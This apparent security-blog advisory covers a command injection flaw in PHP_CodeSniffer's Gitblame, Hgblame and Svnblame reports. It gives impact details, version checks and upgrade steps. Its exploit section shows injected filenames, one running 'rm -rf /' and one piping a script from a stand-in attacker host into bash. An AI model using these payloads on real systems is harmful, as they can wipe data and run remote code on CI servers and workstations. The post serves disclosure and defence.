Listen to this Post
PHP_CodeSniffer is a widely used development tool that tokenizes PHP, JavaScript, and CSS files to detect violations of defined coding standards. Prior to versions 3.13.6 and 4.0.2, the tool contains a critical command injection vulnerability (CVE-2026-67434) in the code responsible for generating Gitblame, Hgblame, and Svnblame reports.
The vulnerability arises when PHP_CodeSniffer processes files whose names contain shell metacharacters such as quotes ("), semicolons (;), or other shell operators. During blame report generation, the tool constructs system shell commands by concatenating unsanitized file paths directly into the command string. This improper input handling—a classic example of CWE-78 (Improper Neutralization of Special Elements used in an OS Command)—creates a direct path for arbitrary code execution.
An attacker can exploit this weakness by submitting a maliciously crafted file name containing shell commands within the content of a pull request or uploaded code. When a CI pipeline or developer workstation runs PHP_CodeSniffer with the Gitblame, Hgblame, or Svnblame report on the untrusted repository, the unsanitized filename is injected into the shell command, leading to execution of attacker-controlled commands with the privileges of the user running the tool.
The attack surface is particularly broad because PHP_CodeSniffer is commonly deployed in continuous integration environments to scan pull requests, as well as on developer machines reviewing third-party code. According to the MITRE ATT&CK framework, this issue maps to T1059.001 (Command and Scripting Interpreter) and T1203 (Exploitation for Client Execution).
Notably, users who rely on the default Full report or any other non-blame report formats are not affected. Additionally, runtime platforms that disallow shell metacharacters in filenames provide inherent protection. The vulnerability has been fixed in versions 3.13.6 and 4.0.2 by introducing proper input sanitization and escaping mechanisms for file names used in shell command construction.
DailyCVE Form:
Platform: PHP_CodeSniffer
Version: <3.13.6,<4.0.2
Vulnerability: Command Injection
Severity: Critical
date: 2026-08-07
Prediction: Already Patched
What Undercode Say: Analytics
The vulnerability stems from improper handling of shell metacharacters in filenames. The following commands illustrate how PHP_CodeSniffer constructs shell commands for blame reports:
Example of vulnerable command construction (simplified)
Filename: "test.php; malicious_command"
The blame report generation might execute:
exec("git blame -- \"test.php; malicious_command\"");
To check if your environment is using a vulnerable version:
Check installed version phpcs --version If version is below 3.13.6 or between 4.0.0 and 4.0.1, it is vulnerable
To identify whether you are using any blame report:
Check your phpcs.xml or command line for --report=gitblame, --report=hgblame, or --report=svnblame grep -E "(gitblame|hgblame|svnblame)" phpcs.xml
Exploit
An attacker can exploit this vulnerability by creating a file with a name containing shell metacharacters. For example, submitting a pull request that includes a file named:
"; rm -rf /; echo "
When PHP_CodeSniffer processes this file with the Gitblame report, the unsanitized filename is injected into the shell command, potentially executing `rm -rf /` with the privileges of the user running the tool.
A more targeted proof-of-concept:
Create a malicious file name touch '"; curl http://attacker.com/backdoor.sh | bash ;"' Run PHP_CodeSniffer with Gitblame report on the directory phpcs --report=gitblame .
If the tool is vulnerable, the attacker-controlled shell commands will execute.
Protection
Immediate Upgrade (Recommended):
For Composer users composer require squizlabs/php_codesniffer:^3.13.6 Or for global installation composer global require squizlabs/php_codesniffer:^3.13.6 Verify the upgrade phpcs --version
Workaround (If Upgrade Is Not Possible):
- Do not use the Gitblame, Hgblame, or Svnblame reports when scanning untrusted code.
- Switch to the default Full report or any other non-blame report:
phpcs --report=full /path/to/untrusted/code
- Ensure that your CI pipeline, pre-commit hooks, or automated review services do not use blame reports on untrusted repositories or uploaded source trees.
- If your runtime platform restricts filenames to exclude shell metacharacters (e.g., `”` and
;), you are inherently protected.
Impact
Successful exploitation allows an attacker to execute arbitrary shell commands on the system running PHP_CodeSniffer with the privileges of the user executing the tool. This can lead to:
– Full system compromise – Attackers can read, modify, or delete files, install backdoors, or pivot to other systems.
– Data exfiltration – Sensitive source code, credentials, and environment variables stored on the CI server or developer machine can be stolen.
– Supply chain attacks – In CI environments, attackers could tamper with build artifacts, inject malicious code into production releases, or poison downstream dependencies.
– Disruption of development workflows – Attackers could crash builds, corrupt repositories, or render development environments inoperable.
The vulnerability is particularly dangerous because it can be triggered simply by submitting a pull request with a maliciously named file—no code execution on the target system is required prior to the scan. Organizations using PHP_CodeSniffer in automated security scanning workflows are at elevated risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
